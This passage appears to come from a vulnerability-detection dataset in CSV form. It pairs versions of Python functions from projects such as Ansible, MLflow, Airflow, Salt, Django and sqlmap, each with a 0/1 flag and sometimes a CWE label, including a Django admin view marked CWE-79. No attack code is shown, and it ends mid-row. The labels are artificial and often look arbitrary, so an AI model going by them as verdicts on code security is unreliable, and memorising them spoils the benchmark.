        foo = binascii.unhexlify(b_data)
        lines = foo.splitlines()
        # line 0 is salt, line 1 is hmac, line 2+ is ciphertext
        b_salt = lines[0]
        b_hmac = lines[1]
        b_ciphertext_data = b'\n'.join(lines[2:])

        b_ciphertext = binascii.unhexlify(b_ciphertext_data)
        # b_orig_ciphertext = b_ciphertext[:]

        # now muck with the text
        # b_munged_ciphertext = b_ciphertext[:10] + b'\x00' + b_ciphertext[11:]
        # b_munged_ciphertext = b_ciphertext
        # assert b_orig_ciphertext != b_munged_ciphertext

        b_ciphertext_data = binascii.hexlify(b_ciphertext)
        b_payload = b'\n'.join([b_salt, b_hmac, b_ciphertext_data])
        # reformat
        b_invalid_ciphertext = self.v._format_output(b_payload)

        # assert we throw an error
        self.v.decrypt(b_invalid_ciphertext)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/packaging/os/urpmi.py,0,"def main():
    module = AnsibleModule(
        argument_spec=dict(
            state=dict(type='str', default='installed',
                       choices=['absent', 'installed', 'present', 'removed']),
            update_cache=dict(type='bool', default=False, aliases=['update-cache']),
            force=dict(type='bool', default=True),
            no_recommends=dict(type='bool', default=True, aliases=['no-recommends']),
            name=dict(type='list', required=True, aliases=['package', 'pkg']),
            root=dict(type='str', aliases=['installroot']),
        ),
    )

    p = module.params

    if p['update_cache']:
        update_package_db(module)

    if p['state'] in ['installed', 'present']:
        install_packages(module, p['name'], p['root'], p['force'], p['no_recommends'])

    elif p['state'] in ['removed', 'absent']:
        remove_packages(module, p['name'], p['root'])",,ansible/ansible,ec8c1cb34aa00bc940ffb8efd4b7ba5a3feb5ab2,"def main():
    module = AnsibleModule(
        argument_spec=dict(
            state=dict(type='str', default='installed',
                       choices=['absent', 'installed', 'present', 'removed']),
            update_cache=dict(type='bool', default=False, aliases=['update-cache']),
            force=dict(type='bool', default=True),
            no_recommends=dict(type='bool', default=True, aliases=['no-recommends']),
            name=dict(type='list', required=True, aliases=['package', 'pkg']),
            root=dict(type='str', aliases=['installroot']),
        ),
    )

    p = module.params

    force_yes = p['force']
    no_recommends_yes = p['no_recommends']
    root = p['root']

    if p['update_cache']:
        update_package_db(module)

    packages = p['package']

    if p['state'] in ['installed', 'present']:
        install_packages(module, packages, root, force_yes, no_recommends_yes)

    elif p['state'] in ['removed', 'absent']:
        remove_packages(module, packages, root)"
,UNKNOWN,UNKNOWN,tests/test_cli.py,1,"def test_mlflow_models_serve(enable_mlserver):
    class MyModel(pyfunc.PythonModel):
        def predict(self, context, model_input):  # pylint: disable=unused-variable
            return np.array([1, 2, 3])

    model = MyModel()

    with mlflow.start_run():
        if enable_mlserver:
            # We need that MLServer is present on the Conda environment, so we'll add that
            # as an extra requirement.
            mlflow.pyfunc.log_model(
                artifact_path=""model"",
                python_model=model,
                extra_pip_requirements=[""mlserver"", ""mlserver-mlflow"", PROTOBUF_REQUIREMENT],
            )
        else:
            mlflow.pyfunc.log_model(artifact_path=""model"", python_model=model)
        model_uri = mlflow.get_artifact_uri(""model"")

    data = pd.DataFrame({""a"": [0]})

    extra_args = [""--env-manager"", ""local""]
    if enable_mlserver:
        # When MLServer is enabled, we want to use Conda to ensure Python 3.7
        # is used
        extra_args = [""--enable-mlserver""]

    scoring_response = pyfunc_serve_and_score_model(
        model_uri=model_uri,
        data=data,
        content_type=pyfunc.scoring_server.CONTENT_TYPE_JSON_SPLIT_ORIENTED,
        extra_args=extra_args,
    )
    assert scoring_response.status_code == 200
    served_model_preds = np.array(json.loads(scoring_response.content))
    np.testing.assert_array_equal(served_model_preds, model.predict(data, None))",CWE-703,mlflow/mlflow,4bcd0c9650f9dc72ec8756246b4ebd3d2b04f0d3,"def test_mlflow_models_serve(enable_mlserver):
    class MyModel(pyfunc.PythonModel):
        def predict(self, context, model_input):  # pylint: disable=unused-variable
            return np.array([1, 2, 3])

    model = MyModel()

    with mlflow.start_run():
        if enable_mlserver:
            # MLServer requires Python 3.7, so we'll force that Python version.
            with mock.patch(""mlflow.utils.environment.PYTHON_VERSION"", ""3.7""):
                # We also need that MLServer is present on the Conda
                # environment, so we'll add that as an extra requirement.
                mlflow.pyfunc.log_model(
                    artifact_path=""model"",
                    python_model=model,
                    extra_pip_requirements=[""mlserver"", ""mlserver-mlflow"", PROTOBUF_REQUIREMENT],
                )
        else:
            mlflow.pyfunc.log_model(artifact_path=""model"", python_model=model)
        model_uri = mlflow.get_artifact_uri(""model"")

    data = pd.DataFrame({""a"": [0]})

    extra_args = [""--env-manager"", ""local""]
    if enable_mlserver:
        # When MLServer is enabled, we want to use Conda to ensure Python 3.7
        # is used
        extra_args = [""--enable-mlserver""]

    scoring_response = pyfunc_serve_and_score_model(
        model_uri=model_uri,
        data=data,
        content_type=pyfunc.scoring_server.CONTENT_TYPE_JSON_SPLIT_ORIENTED,
        extra_args=extra_args,
    )
    assert scoring_response.status_code == 200
    served_model_preds = np.array(json.loads(scoring_response.content))
    np.testing.assert_array_equal(served_model_preds, model.predict(data, None))"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/returners/local_cache.py,0,"def save_load(jid, clear_load):
    '''
    Save the load to the specified jid
    '''
    jid_dir = _jid_dir(jid)

    serial = salt.payload.Serial(__opts__)

    # if you have a tgt, save that for the UI etc
    if 'tgt' in clear_load:
        ckminions = salt.utils.minions.CkMinions(__opts__)
        # Retrieve the minions list
        minions = ckminions.check_minions(
                clear_load['tgt'],
                clear_load.get('tgt_type', 'glob')
                )
        # save the minions to a cache so we can see in the UI
        try:
            serial.dump(
                minions,
                salt.utils.fopen(os.path.join(jid_dir, MINIONS_P), 'w+b')
                )
        except IOError:
            log.warning('Could not write job cache file for minions: {0}'.format(minions))

    # Save the invocation information
    try:
        serial.dump(
            clear_load,
            salt.utils.fopen(os.path.join(jid_dir, LOAD_P), 'w+b')
            )
    except IOError as exc:
        log.warning('Could not write job invocation cache file: {0}'.format(exc))",,saltstack/salt,d8f7bb1ec6934f76d1dd6a93e1a84964f0e50744,"def save_load(jid, clear_load):
    '''
    Save the load to the specified jid
    '''
    jid_dir = _jid_dir(jid)

    serial = salt.payload.Serial(__opts__)

    # if you have a tgt, save that for the UI etc
    if 'tgt' in clear_load:
        ckminions = salt.utils.minions.CkMinions(__opts__)
        # Retrieve the minions list
        minions = ckminions.check_minions(
                clear_load['tgt'],
                clear_load.get('tgt_type', 'glob')
                )
        # save the minions to a cache so we can see in the UI
        try:
            serial.dump(
                minions,
                salt.utils.fopen(os.path.join(jid_dir, MINIONS_P), 'w+b')
                )
        except IOError:
            log.warning('Could not write job cache file for minions: {0}'.format(minions))

    # Save the invocation information
    try:
        serial.dump(
            clear_load,
            salt.utils.fopen(os.path.join(jid_dir, LOAD_P), 'w+b')
            )
    except IOError:
        log.warning('Could not write job cache file for minions: {0}'.format(minions))"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/utils/import_hooks/__init__.py,0,"def find_module(self, fullname, path=None):
        # If the module being imported is not one we have registered
        # import hooks for, we can return immediately. We will
        # take no further part in the importing of this module.

        if fullname not in _post_import_hooks and fullname not in _import_error_hooks:
            return None

        # When we are interested in a specific module, we will call back
        # into the import system a second time to defer to the import
        # finder that is supposed to handle the importing of the module.
        # We set an in progress flag for the target module so that on
        # the second time through we don't trigger another call back
        # into the import system and cause a infinite loop.

        if fullname in self.in_progress:
            return None

        self.in_progress[fullname] = True

        # Now call back into the import system again.

        try:
            # For Python 3 we need to use find_spec().loader
            # from the importlib.util module. It doesn't actually
            # import the target module and only finds the
            # loader. If a loader is found, we need to return
            # our own loader which will then in turn call the
            # real loader to import the module and invoke the
            # post import hooks.
            try:
                import importlib.util

                loader = importlib.util.find_spec(fullname).loader
            # If an ImportError (or AttributeError) is encountered while finding the module,
            # notify the hooks for import errors
            except (ImportError, AttributeError):
                notify_module_import_error(fullname)
                loader = importlib.find_loader(fullname, path)  # pylint: disable=deprecated-method
            if loader:
                return _ImportHookChainedLoader(loader)
        finally:
            del self.in_progress[fullname]",,mlflow/mlflow,f47e3ec83ac052d39110c3ba155722f4d7fd79f2,"def find_module(self, fullname, path=None):
        # If the module being imported is not one we have registered
        # import hooks for, we can return immediately. We will
        # take no further part in the importing of this module.

        if fullname not in _post_import_hooks and fullname not in _import_error_hooks:
            return None

        # When we are interested in a specific module, we will call back
        # into the import system a second time to defer to the import
        # finder that is supposed to handle the importing of the module.
        # We set an in progress flag for the target module so that on
        # the second time through we don't trigger another call back
        # into the import system and cause a infinite loop.

        if fullname in self.in_progress:
            return None

        self.in_progress[fullname] = True

        # Now call back into the import system again.

        try:
            # For Python 3 we need to use find_spec().loader
            # from the importlib.util module. It doesn't actually
            # import the target module and only finds the
            # loader. If a loader is found, we need to return
            # our own loader which will then in turn call the
            # real loader to import the module and invoke the
            # post import hooks.
            try:
                import importlib.util

                loader = importlib.util.find_spec(fullname).loader
            # If an ImportError (or AttributeError) is encountered while finding the module,
            # notify the hooks for import errors
            except (ImportError, AttributeError):
                notify_module_import_error(fullname)
                loader = importlib.find_loader(fullname, path)  # pylint: disable=deprecated-method
            if loader:
                return _ImportHookChainedLoader(loader)
        finally:
            del self.in_progress[fullname]"
,UNKNOWN,UNKNOWN,tests/api_fastapi/core_api/routes/public/test_dag_warning.py,1,"def test_get_dag_warnings(self, test_client, query_params, expected_total_entries, expected_messages):
        response = test_client.get(""/public/dagWarnings"", params=query_params)
        assert response.status_code == 200
        response_json = response.json()
        assert response_json[""total_entries""] == expected_total_entries
        assert len(response_json[""dag_warnings""]) == len(expected_messages)
        assert [dag_warning[""message""] for dag_warning in response_json[""dag_warnings""]] == expected_messages",CWE-703,apache/airflow,df0b6c3a14271288dfab7487cd735742e9814014,"def test_get_dag_warnings(self, test_client, query_params, expected_total_entries, expected_messages):
        response = test_client.get(""/public/dagWarnings"", params=query_params)
        assert response.status_code == 200
        response_json = response.json()
        assert response_json[""total_entries""] == expected_total_entries
        assert len(response_json[""dag_warnings""]) == len(expected_messages)
        assert [dag_warning[""message""] for dag_warning in response_json[""dag_warnings""]] == expected_messages"
,UNKNOWN,UNKNOWN,airflow/models/taskinstance.py,1,"def _run_raw_task(
    ti: TaskInstance | TaskInstancePydantic,
    mark_success: bool = False,
    test_mode: bool = False,
    job_id: str | None = None,
    pool: str | None = None,
    raise_on_defer: bool = False,
    session: Session | None = None,
) -> TaskReturnCode | None:
    """"""
    Run a task, update the state upon completion, and run any appropriate callbacks.

    Immediately runs the task (without checking or changing db state
    before execution) and then sets the appropriate final state after
    completion and runs any post-execute callbacks. Meant to be called
    only after another function changes the state to running.

    :param mark_success: Don't run the task, mark its state as success
    :param test_mode: Doesn't record success or failure in the DB
    :param pool: specifies the pool to use to run the task instance
    :param session: SQLAlchemy ORM Session
    """"""
    if TYPE_CHECKING:
        assert ti.task

    ti.test_mode = test_mode
    ti.refresh_from_task(ti.task, pool_override=pool)
    ti.refresh_from_db(session=session)
    ti.job_id = job_id
    ti.hostname = get_hostname()
    ti.pid = os.getpid()
    if not test_mode:
        TaskInstance.save_to_db(ti=ti, session=session)
    actual_start_date = timezone.utcnow()
    Stats.incr(f""ti.start.{ti.task.dag_id}.{ti.task.task_id}"", tags=ti.stats_tags)
    # Same metric with tagging
    Stats.incr(""ti.start"", tags=ti.stats_tags)
    # Initialize final state counters at zero
    for state in State.task_states:
        Stats.incr(
            f""ti.finish.{ti.task.dag_id}.{ti.task.task_id}.{state}"",
            count=0,
            tags=ti.stats_tags,
        )
        # Same metric with tagging
        Stats.incr(
            ""ti.finish"",
            count=0,
            tags={**ti.stats_tags, ""state"": str(state)},
        )
    with set_current_task_instance_session(session=session):
        ti.task = ti.task.prepare_for_execution()
        context = ti.get_template_context(ignore_param_exceptions=False, session=session)

        try:
            if not mark_success:
                TaskInstance._execute_task_with_callbacks(
                    self=ti,  # type: ignore[arg-type]
                    context=context,
                    test_mode=test_mode,
                    session=session,
                )
            if not test_mode:
                ti.refresh_from_db(lock_for_update=True, session=session)
            ti.state = TaskInstanceState.SUCCESS
        except TaskDeferred as defer:
            # The task has signalled it wants to defer execution based on
            # a trigger.
            if raise_on_defer:
                raise
            ti.defer_task(exception=defer, session=session)
            ti.log.info(
                ""Pausing task as DEFERRED. dag_id=%s, task_id=%s, run_id=%s, execution_date=%s, start_date=%s"",
                ti.dag_id,
                ti.task_id,
                ti.run_id,
                _date_or_empty(task_instance=ti, attr=""execution_date""),
                _date_or_empty(task_instance=ti, attr=""start_date""),
            )
            return TaskReturnCode.DEFERRED
        except AirflowSkipException as e:
            # Recording SKIP
            # log only if exception has any arguments to prevent log flooding
            if e.args:
                ti.log.info(e)
            if not test_mode:
                ti.refresh_from_db(lock_for_update=True, session=session)
            ti.state = TaskInstanceState.SKIPPED
            _run_finished_callback(callbacks=ti.task.on_skipped_callback, context=context)
            TaskInstance.save_to_db(ti=ti, session=session)
        except AirflowRescheduleException as reschedule_exception:
            ti._handle_reschedule(actual_start_date, reschedule_exception, test_mode, session=session)
            ti.log.info(""Rescheduling task, marking task as UP_FOR_RESCHEDULE"")
            return None
        except (AirflowFailException, AirflowSensorTimeout) as e:
            # If AirflowFailException is raised, task should not retry.
            # If a sensor in reschedule mode reaches timeout, task should not retry.
            ti.handle_failure(e, test_mode, context, force_fail=True, session=session)  # already saves to db
            raise
        except (AirflowTaskTimeout, AirflowException, AirflowTaskTerminated) as e:
            if not test_mode:
                ti.refresh_from_db(lock_for_update=True, session=session)
            # for case when task is marked as success/failed externally
            # or dagrun timed out and task is marked as skipped
            # current behavior doesn't hit the callbacks
            if ti.state in State.finished:
                ti.clear_next_method_args()
                TaskInstance.save_to_db(ti=ti, session=session)
                return None
            else:
                ti.handle_failure(e, test_mode, context, session=session)
                raise
        except SystemExit as e:
            # We have already handled SystemExit with success codes (0 and None) in the `_execute_task`.
            # Therefore, here we must handle only error codes.
            msg = f""Task failed due to SystemExit({e.code})""
            ti.handle_failure(msg, test_mode, context, session=session)
            raise AirflowException(msg)
        except BaseException as e:
            ti.handle_failure(e, test_mode, context, session=session)
            raise
        finally:
            # Print a marker post execution for internals of post task processing
            log.info(""::group::Post task execution logs"")

            Stats.incr(
                f""ti.finish.{ti.dag_id}.{ti.task_id}.{ti.state}"",
                tags=ti.stats_tags,
            )
            # Same metric with tagging
            Stats.incr(""ti.finish"", tags={**ti.stats_tags, ""state"": str(ti.state)})

        # Recording SKIPPED or SUCCESS
        ti.clear_next_method_args()
        ti.end_date = timezone.utcnow()
        _log_state(task_instance=ti)
        ti.set_duration()

        # run on_success_callback before db committing
        # otherwise, the LocalTaskJob sees the state is changed to `success`,
        # but the task_runner is still running, LocalTaskJob then treats the state is set externally!
        if ti.state == TaskInstanceState.SUCCESS:
            _run_finished_callback(callbacks=ti.task.on_success_callback, context=context)

        if not test_mode:
            _add_log(event=ti.state, task_instance=ti, session=session)
            if ti.state == TaskInstanceState.SUCCESS:
                ti._register_dataset_changes(events=context[""outlet_events""], session=session)

            TaskInstance.save_to_db(ti=ti, session=session)
            if ti.state == TaskInstanceState.SUCCESS:
                get_listener_manager().hook.on_task_instance_success(
                    previous_state=TaskInstanceState.RUNNING, task_instance=ti, session=session
                )

        return None",CWE-703,apache/airflow,6889b6b49aa004fb7dd2f5f3ecbe1c42a7b104f9,"def _run_raw_task(
    ti: TaskInstance | TaskInstancePydantic,
    mark_success: bool = False,
    test_mode: bool = False,
    job_id: str | None = None,
    pool: str | None = None,
    raise_on_defer: bool = False,
    session: Session | None = None,
) -> TaskReturnCode | None:
    """"""
    Run a task, update the state upon completion, and run any appropriate callbacks.

    Immediately runs the task (without checking or changing db state
    before execution) and then sets the appropriate final state after
    completion and runs any post-execute callbacks. Meant to be called
    only after another function changes the state to running.

    :param mark_success: Don't run the task, mark its state as success
    :param test_mode: Doesn't record success or failure in the DB
    :param pool: specifies the pool to use to run the task instance
    :param session: SQLAlchemy ORM Session
    """"""
    if TYPE_CHECKING:
        assert ti.task

    ti.test_mode = test_mode
    ti.refresh_from_task(ti.task, pool_override=pool)
    ti.refresh_from_db(session=session)
    ti.job_id = job_id
    ti.hostname = get_hostname()
    ti.pid = os.getpid()
    if not test_mode:
        TaskInstance.save_to_db(ti=ti, session=session)
    actual_start_date = timezone.utcnow()
    Stats.incr(f""ti.start.{ti.task.dag_id}.{ti.task.task_id}"", tags=ti.stats_tags)
    # Same metric with tagging
    Stats.incr(""ti.start"", tags=ti.stats_tags)
    # Initialize final state counters at zero
    for state in State.task_states:
        Stats.incr(
            f""ti.finish.{ti.task.dag_id}.{ti.task.task_id}.{state}"",
            count=0,
            tags=ti.stats_tags,
        )
        # Same metric with tagging
        Stats.incr(
            ""ti.finish"",
            count=0,
            tags={**ti.stats_tags, ""state"": str(state)},
        )
    with set_current_task_instance_session(session=session):
        ti.task = ti.task.prepare_for_execution()
        context = ti.get_template_context(ignore_param_exceptions=False, session=session)

        try:
            if not mark_success:
                TaskInstance._execute_task_with_callbacks(
                    self=ti,  # type: ignore[arg-type]
                    context=context,
                    test_mode=test_mode,
                    session=session,
                )
            if not test_mode:
                ti.refresh_from_db(lock_for_update=True, session=session)
            ti.state = TaskInstanceState.SUCCESS
        except TaskDeferred as defer:
            # The task has signalled it wants to defer execution based on
            # a trigger.
            if raise_on_defer:
                raise
            ti.defer_task(exception=defer, session=session)
            ti.log.info(
                ""Pausing task as DEFERRED. dag_id=%s, task_id=%s, run_id=%s, execution_date=%s, start_date=%s"",
                ti.dag_id,
                ti.task_id,
                ti.run_id,
                _date_or_empty(task_instance=ti, attr=""execution_date""),
                _date_or_empty(task_instance=ti, attr=""start_date""),
            )
            return TaskReturnCode.DEFERRED
        except AirflowSkipException as e:
            # Recording SKIP
            # log only if exception has any arguments to prevent log flooding
            if e.args:
                ti.log.info(e)
            if not test_mode:
                ti.refresh_from_db(lock_for_update=True, session=session)
            ti.state = TaskInstanceState.SKIPPED
            _run_finished_callback(callbacks=ti.task.on_skipped_callback, context=context)
            TaskInstance.save_to_db(ti=ti, session=session)
        except AirflowRescheduleException as reschedule_exception:
            ti._handle_reschedule(actual_start_date, reschedule_exception, test_mode, session=session)
            ti.log.info(""Rescheduling task, marking task as UP_FOR_RESCHEDULE"")
            return None
        except (AirflowFailException, AirflowSensorTimeout) as e:
            # If AirflowFailException is raised, task should not retry.
            # If a sensor in reschedule mode reaches timeout, task should not retry.
            ti.handle_failure(e, test_mode, context, force_fail=True, session=session)  # already saves to db
            raise
        except (AirflowTaskTimeout, AirflowException, AirflowTaskTerminated) as e:
            if not test_mode:
                ti.refresh_from_db(lock_for_update=True, session=session)
            # for case when task is marked as success/failed externally
            # or dagrun timed out and task is marked as skipped
            # current behavior doesn't hit the callbacks
            if ti.state in State.finished:
                ti.clear_next_method_args()
                TaskInstance.save_to_db(ti=ti, session=session)
                return None
            else:
                ti.handle_failure(e, test_mode, context, session=session)
                raise
        except SystemExit as e:
            # We have already handled SystemExit with success codes (0 and None) in the `_execute_task`.
            # Therefore, here we must handle only error codes.
            msg = f""Task failed due to SystemExit({e.code})""
            ti.handle_failure(msg, test_mode, context, session=session)
            raise AirflowException(msg)
        except BaseException as e:
            ti.handle_failure(e, test_mode, context, session=session)
            raise
        finally:
            # Print a marker post execution for internals of post task processing
            log.info(""::group::Post task execution logs"")

            Stats.incr(
                f""ti.finish.{ti.dag_id}.{ti.task_id}.{ti.state}"",
                tags=ti.stats_tags,
            )
            # Same metric with tagging
            Stats.incr(""ti.finish"", tags={**ti.stats_tags, ""state"": str(ti.state)})

        # Recording SKIPPED or SUCCESS
        ti.clear_next_method_args()
        ti.end_date = timezone.utcnow()
        _log_state(task_instance=ti)
        ti.set_duration()

        # run on_success_callback before db committing
        # otherwise, the LocalTaskJob sees the state is changed to `success`,
        # but the task_runner is still running, LocalTaskJob then treats the state is set externally!
        _run_finished_callback(callbacks=ti.task.on_success_callback, context=context)

        if not test_mode:
            _add_log(event=ti.state, task_instance=ti, session=session)
            if ti.state == TaskInstanceState.SUCCESS:
                ti._register_dataset_changes(events=context[""outlet_events""], session=session)

            TaskInstance.save_to_db(ti=ti, session=session)
            if ti.state == TaskInstanceState.SUCCESS:
                get_listener_manager().hook.on_task_instance_success(
                    previous_state=TaskInstanceState.RUNNING, task_instance=ti, session=session
                )

        return None"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/models/test_xcom.py,1,"def test_xcom_get_many_from_prior_dates(self, session, tis_for_xcom_get_many_from_prior_dates):
        ti1, ti2 = tis_for_xcom_get_many_from_prior_dates
        stored_xcoms = XComModel.get_many(
            run_id=ti2.run_id,
            key=""xcom_1"",
            dag_ids=""dag"",
            task_ids=""task_1"",
            include_prior_dates=True,
            session=session,
        )

        # The retrieved XComs should be ordered by logical date, latest first.
        assert [x.value for x in stored_xcoms] == list(
            map(lambda j: json.dumps(j), [{""key2"": ""value2""}, {""key1"": ""value1""}])
        )
        assert [x.logical_date for x in stored_xcoms] == [ti2.logical_date, ti1.logical_date]",CWE-703,apache/airflow,0ccbe4f0aa0f32cbd30275be1296e11f8de65e86,"def test_xcom_get_many_from_prior_dates(self, session, tis_for_xcom_get_many_from_prior_dates):
        ti1, ti2 = tis_for_xcom_get_many_from_prior_dates
        stored_xcoms = XComModel.get_many(
            run_id=ti2.run_id,
            key=""xcom_1"",
            dag_ids=""dag"",
            task_ids=""task_1"",
            include_prior_dates=True,
            session=session,
        )

        # The retrieved XComs should be ordered by logical date, latest first.
        assert [x.value for x in stored_xcoms] == list(
            map(lambda j: json.dumps(j), [{""key2"": ""value2""}, {""key1"": ""value1""}])
        )
        assert [x.logical_date for x in stored_xcoms] == [ti2.logical_date, ti1.logical_date]"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/functional/test_functional.py,0,"def test_crypto_md5(self):
        '''Test the `hashlib.md5` example.'''
        expect = {
            'SEVERITY': {'UNDEFINED': 0, 'LOW': 0, 'MEDIUM': 15, 'HIGH': 4},
            'CONFIDENCE': {'UNDEFINED': 0, 'LOW': 0, 'MEDIUM': 0, 'HIGH': 19}
        }
        self.check_example('crypto-md5.py', expect)",UNKNOWN,PyCQA/bandit,823138f418905a99fb7bbff8bb35b97f6dc9e5ab,"def test_crypto_md5(self):
        '''Test the `hashlib.md5` example.'''
        expect = {
            'SEVERITY': {'UNDEFINED': 0, 'LOW': 0, 'MEDIUM': 15, 'HIGH': 8},
            'CONFIDENCE': {'UNDEFINED': 0, 'LOW': 0, 'MEDIUM': 0, 'HIGH': 23}
        }
        self.check_example('crypto-md5.py', expect)"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,tests/test_transport.py,0,"def test_1_security_options(self):
        o = self.tc.get_security_options()
        self.assertEqual(type(o), SecurityOptions)
        self.assertTrue(('aes256-cbc', 'blowfish-cbc') != o.ciphers)
        o.ciphers = ('aes256-cbc', 'blowfish-cbc')
        self.assertEqual(('aes256-cbc', 'blowfish-cbc'), o.ciphers)
        try:
            o.ciphers = ('aes256-cbc', 'made-up-cipher')
            self.assertTrue(False)
        except ValueError:
            pass
        try:
            o.ciphers = 23
            self.assertTrue(False)
        except TypeError:
            pass",,paramiko/paramiko,d510b1ae91978a169bb4bd2a9e5e165d2311bc6b,"def test_1_security_options(self):
        o = self.tc.get_security_options()
        self.assertEqual(type(o), SecurityOptions)
        self.assertTrue(('aes256-cbc', 'blowfish-cbc') != o.ciphers)
        o.ciphers = ('aes256-cbc', 'blowfish-cbc')
        self.assertEqual(('aes256-cbc', 'blowfish-cbc'), o.ciphers)
        try:
            o.ciphers = ('aes256-cbc', 'made-up-cipher')
            self.assertTrue(False)
        except ValueError:
            pass
        try:
            o.ciphers = 23
            self.assertTrue(False)
        except TypeError:
            pass"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/keras.py,0,"def get_default_pip_requirements(include_cloudpickle=False, keras_module=None):
    """"""
    :return: A list of default pip requirements for MLflow Models produced by this flavor.
             Calls to :func:`save_model()` and :func:`log_model()` produce a pip environment
             that, at minimum, contains these requirements.
    """"""
    import tensorflow as tf

    pip_deps = [_get_pinned_requirement(""tensorflow"")]

    keras_module = keras_module or __import__(""keras"")
    is_plain_keras = keras_module.__name__ == ""keras""
    tf_version = Version(tf.__version__)
    if (
        is_plain_keras
        # tensorflow >= 2.6.0 requires keras:
        # https://github.com/tensorflow/tensorflow/blob/v2.6.0/tensorflow/tools/pip_package/setup.py#L106
        # To prevent a different version of keras from being installed by tensorflow when creating
        # a serving environment, add a pinned requirement for keras
        or tf_version >= Version(""2.6.0"")
    ):
        pip_deps.append(_get_pinned_requirement(""keras""))

    # Tensorflow<2.4 does not work with h5py>=3.0.0
    # see https://github.com/tensorflow/tensorflow/issues/44467
    if tf_version < Version(""2.4""):
        pip_deps.append(""h5py<3.0.0"")

    if include_cloudpickle:
        pip_deps.append(_get_pinned_requirement(""cloudpickle""))

    return pip_deps",,mlflow/mlflow,548278e10fa956abb950082e0d2d24730a98af16,"def get_default_pip_requirements(include_cloudpickle=False, keras_module=None):
    """"""
    :return: A list of default pip requirements for MLflow Models produced by this flavor.
             Calls to :func:`save_model()` and :func:`log_model()` produce a pip environment
             that, at minimum, contains these requirements.
    """"""
    import tensorflow as tf

    pip_deps = []
    if keras_module is None:
        import keras

        keras_module = keras
    if keras_module.__name__ == ""keras"":
        pip_deps.append(_get_pinned_requirement(""keras""))
    if include_cloudpickle:
        pip_deps.append(_get_pinned_requirement(""cloudpickle""))

    pip_deps.append(_get_pinned_requirement(""tensorflow""))

    # Tensorflow<2.4 does not work with h5py>=3.0.0
    # see https://github.com/tensorflow/tensorflow/issues/44467
    if Version(tf.__version__) < Version(""2.4""):
        pip_deps.append(""h5py<3.0.0"")

    return pip_deps"
,UNKNOWN,UNKNOWN,django/contrib/admin/options.py,1,"def add_view(self, request, form_url='', extra_context=None):
        ""The 'add' admin view for this model.""
        model = self.model
        opts = model._meta
        app_label = opts.app_label

        if not self.has_add_permission(request):
            raise PermissionDenied

        if self.has_change_permission(request, None):
            # redirect to list view
            post_url = '../'
        else:
            # Object list will give 'Permission Denied', so go back to admin home
            post_url = '../../../'

        ModelForm = self.get_form(request)
        formsets = []
        if request.method == 'POST':
            form = ModelForm(request.POST, request.FILES)
            if form.is_valid():
                form_validated = True
                new_object = self.save_form(request, form, change=False)
            else:
                form_validated = False
                new_object = self.model()
            for FormSet in self.get_formsets(request):
                formset = FormSet(data=request.POST, files=request.FILES,
                                  instance=new_object,
                                  save_as_new=request.POST.has_key(""_saveasnew""))
                formsets.append(formset)
            if all_valid(formsets) and form_validated:
                self.save_model(request, new_object, form, change=False)
                form.save_m2m()
                for formset in formsets:
                    self.save_formset(request, form, formset, change=False)
                
                self.log_addition(request, new_object)
                return self.response_add(request, new_object)
        else:
            form = ModelForm(initial=dict(request.GET.items()))
            for FormSet in self.get_formsets(request):
                formset = FormSet(instance=self.model())
                formsets.append(formset)

        adminForm = AdminForm(form, list(self.get_fieldsets(request)), self.prepopulated_fields)
        media = self.media + adminForm.media

        inline_admin_formsets = []
        for inline, formset in zip(self.inline_instances, formsets):
            fieldsets = list(inline.get_fieldsets(request))
            inline_admin_formset = InlineAdminFormSet(inline, formset, fieldsets)
            inline_admin_formsets.append(inline_admin_formset)
            media = media + inline_admin_formset.media

        context = {
            'title': _('Add %s') % force_unicode(opts.verbose_name),
            'adminform': adminForm,
            'is_popup': request.REQUEST.has_key('_popup'),
            'show_delete': False,
            'media': mark_safe(media),
            'inline_admin_formsets': inline_admin_formsets,
            'errors': AdminErrorList(form, formsets),
            'root_path': self.admin_site.root_path,
        }
        context.update(extra_context or {})
        return self.render_change_form(request, context, add=True)",CWE-79,django/django,f586c0b039170f0351832d8c57cce3bf7f4772fb,"def add_view(self, request, form_url='', extra_context=None):
        ""The 'add' admin view for this model.""
        model = self.model
        opts = model._meta
        app_label = opts.app_label

        if not self.has_add_permission(request):
            raise PermissionDenied

        if self.has_change_permission(request, None):
            # redirect to list view
            post_url = '../'
        else:
            # Object list will give 'Permission Denied', so go back to admin home
            post_url = '../../../'

        ModelForm = self.get_form(request)
        formsets = []
        if request.method == 'POST':
            form = ModelForm(request.POST, request.FILES)
            if form.is_valid():
                form_validated = True
                new_object = self.save_form(request, form, change=False)
            else:
                form_validated = False
                new_object = self.model()
            for FormSet in self.get_formsets(request):
                formset = FormSet(data=request.POST, files=request.FILES,
                                  instance=new_object,
                                  save_as_new=request.POST.has_key(""_saveasnew""))
                formsets.append(formset)
            if all_valid(formsets) and form_validated:
                self.save_model(request, new_object, form, change=False)
                form.save_m2m()
                for formset in formsets:
                    self.save_formset(request, form, formset, change=False)
                
                self.log_addition(request, new_object)
                return self.response_add(request, new_object)
        else:
            form = ModelForm(initial=dict(request.GET.items()))
            for FormSet in self.get_formsets(request):
                formset = FormSet(instance=self.model())
                formsets.append(formset)

        adminForm = AdminForm(form, list(self.get_fieldsets(request)), self.prepopulated_fields)
        media = self.media + adminForm.media
        for formset in formsets:
            media = media + formset.media

        inline_admin_formsets = []
        for inline, formset in zip(self.inline_instances, formsets):
            fieldsets = list(inline.get_fieldsets(request))
            inline_admin_formset = InlineAdminFormSet(inline, formset, fieldsets)
            inline_admin_formsets.append(inline_admin_formset)

        context = {
            'title': _('Add %s') % force_unicode(opts.verbose_name),
            'adminform': adminForm,
            'is_popup': request.REQUEST.has_key('_popup'),
            'show_delete': False,
            'media': mark_safe(media),
            'inline_admin_formsets': inline_admin_formsets,
            'errors': AdminErrorList(form, formsets),
            'root_path': self.admin_site.root_path,
        }
        context.update(extra_context or {})
        return self.render_change_form(request, context, add=True)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/postgresql/takeover.py,0,"def copyExecCmd(self, cmd):
        output = None

        if isStackingAvailable():
